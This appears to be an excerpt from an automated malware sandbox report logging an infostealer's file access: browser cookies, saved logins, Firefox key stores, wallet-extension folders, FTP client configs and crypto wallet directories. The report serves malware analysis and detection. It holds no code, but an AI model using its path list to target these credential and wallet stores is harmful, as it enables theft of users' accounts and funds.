Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
